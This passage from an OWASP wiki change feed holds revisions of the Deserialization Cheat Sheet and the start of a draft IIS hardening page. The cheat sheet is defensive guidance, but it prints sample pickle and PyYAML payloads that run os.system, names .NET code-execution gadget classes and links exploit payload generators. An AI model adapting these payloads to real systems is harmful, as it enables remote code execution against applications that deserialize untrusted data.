** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
* .Net&lt;br /&gt;
** Alvaro Muñoz: .NET Serialization: Detecting and defending vulnerable endpoints https://www.youtube.com/watch?v=qDoBlLwREYk&lt;br /&gt;
** James Forshaw - Black Hat USA 2012 - Are You My Type? Breaking .net Sandboxes Through Serialization https://www.youtube.com/watch?v=Xfbu-pQ1tIc&lt;br /&gt;
** Jonathan Birch BlueHat v17 || Dangerous Contents - Securing .Net Deserialization https://www.youtube.com/watch?v=oxlD8VWWHE8&lt;br /&gt;
** Alvaro Muñoz &amp;amp; Oleksandr Mirosh - Friday the 13th: Attacking JSON - AppSecUSA 2017 Https://www.youtube.com/watch?v=NqHsaVhlxAQ&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
Shane Murnion&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]] [[Category:OWASP .NET Project]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=243032</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=243032"/>
				<updated>2018-08-30T20:01:46Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added Shane as an author&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.&lt;br /&gt;
Please also refer to to http://php.net/manual/en/function.unserialize.php&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vulnerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are data members of an object that should never be controlled by end users during deserialization or exposed to users during serialization, they should be declared as [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
    ....&lt;br /&gt;
    ....&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
==.Net C#==&lt;br /&gt;
&lt;br /&gt;
=== WhiteBox Review ===&lt;br /&gt;
Search the source code for the following terms&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# TypeNameHandling&lt;br /&gt;
# JavaScriptTypeResolver&lt;br /&gt;
&lt;br /&gt;
Look for any serializers where the type is set by a user controlled variable.&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
Search for the following base64 encoded content that starts with:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;AAEAAAD/////&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for content with the following text:&lt;br /&gt;
# &amp;quot;TypeObject&amp;quot;&lt;br /&gt;
# &amp;quot;$type&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
=== General Precautions ===&lt;br /&gt;
&lt;br /&gt;
Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the '''DataContractSerializer''' or '''XmlSerializer''' if at all possible.&lt;br /&gt;
&lt;br /&gt;
Where '''JSON.Net''' is being used make sure the '''TypeNameHandling''' is only set to '''None'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;TypeNameHandling = TypeNameHandling.None&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If '''JavaScriptSerializer''' is to be used do not use it with a '''JavaScriptTypeResolver'''	&lt;br /&gt;
&lt;br /&gt;
If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;System.IO.FileInfo&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
FileInfo objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if you have limited the types that can be deserialised remember that some types have properties that are risky. '''System.ComponentModel.DataAnnotations.ValidationException''', for example has a property '''Value''' of type '''Object'''. if this type is the type allowed for deserialization then an attacker can set the '''Value''' property to any object type they choose.&lt;br /&gt;
&lt;br /&gt;
Attackers should be prevented from steering the type that will be instantiated. If this is possible then even '''DataContractSerializer''' or '''XmlSerializer''' can be subverted e.g.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var typename = GetTransactionTypeFromDatabase();  // &amp;lt;-- this is dangerous if the attacker can change the data in the database&lt;br /&gt;
&lt;br /&gt;
var serializer = new DataContractJsonSerializer(Type.GetType(typename)); &lt;br /&gt;
&lt;br /&gt;
var obj = serializer.ReadObject(ms);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);&lt;br /&gt;
&lt;br /&gt;
if (suspectObject is SomeDangerousObjectType) //Too late! Execution may have already occurred.&lt;br /&gt;
{&lt;br /&gt;
    //generate warnings and dispose of suspectObject&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For '''BinaryFormatter''' and '''JSON.Net''' it is possible to create a safer form of white list control useing a custom '''SerializationBinder'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. A deserializer can only only instantiate types that it knows about. Try to keep any code that might create potential gagdets separate from any code that Vas internet connectivity. As an example '''System.Windows.Data.ObjectDataProvider''' used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.&lt;br /&gt;
&lt;br /&gt;
=== Known .NET RCE Gadgets ===&lt;br /&gt;
System.Configuration.Install.AssemblyInstaller&lt;br /&gt;
* System.Activities.Presentation.WorkflowDesigner&lt;br /&gt;
* System.Windows.ResourceDictionary&lt;br /&gt;
* System.Windows.Data.ObjectDataProvider&lt;br /&gt;
* System.Windows.Forms.BindingSource&lt;br /&gt;
* Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider&lt;br /&gt;
* System.Data.DataViewManager, System.Xml.XmlDocument/XmlDataDocument&lt;br /&gt;
* System.Management.Automation.PSObject&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* .Net payload generator https://github.com/pwntester/ysoserial.net&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
* .Net&lt;br /&gt;
** Alvaro Muñoz: .NET Serialization: Detecting and defending vulnerable endpoints https://www.youtube.com/watch?v=qDoBlLwREYk&lt;br /&gt;
** James Forshaw - Black Hat USA 2012 - Are You My Type? Breaking .net Sandboxes Through Serialization https://www.youtube.com/watch?v=Xfbu-pQ1tIc&lt;br /&gt;
** Jonathan Birch BlueHat v17 || Dangerous Contents - Securing .Net Deserialization https://www.youtube.com/watch?v=oxlD8VWWHE8&lt;br /&gt;
** Alvaro Muñoz &amp;amp; Oleksandr Mirosh - Friday the 13th: Attacking JSON - AppSecUSA 2017 Https://www.youtube.com/watch?v=NqHsaVhlxAQ&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
Shane Murnion&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242903</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242903"/>
				<updated>2018-08-29T01:29:34Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Configure maxAllowedContentLength */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.  &lt;br /&gt;
&lt;br /&gt;
To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults.  Then select the appropriate user.&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.&lt;br /&gt;
&lt;br /&gt;
To handle this, use the IIS Console and select Exceptions.  In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
The maxAllowedContentLength is a part of the requestLimits collection, and it is too long by default for most requests (around 26 MB).  On an application bases it can be altered using the requestFiltering node in the Security collection.  Here is an example in the web.config:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;security&amp;gt;&lt;br /&gt;
            &amp;lt;requestFiltering&amp;gt;&lt;br /&gt;
               &amp;lt;requestLimits&amp;gt;&lt;br /&gt;
                  &amp;lt;headerLimits&amp;gt;&lt;br /&gt;
                     &amp;lt;add header=&amp;quot;Content-type&amp;quot; sizeLimit=&amp;quot;100&amp;quot; /&amp;gt;&lt;br /&gt;
                  &amp;lt;/headerLimits&amp;gt;&lt;br /&gt;
               &amp;lt;/requestLimits&amp;gt;&lt;br /&gt;
            &amp;lt;/requestFiltering&amp;gt;&lt;br /&gt;
         &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In C#, it is possible to change the content length for a particular request with the ServerManager:&lt;br /&gt;
&lt;br /&gt;
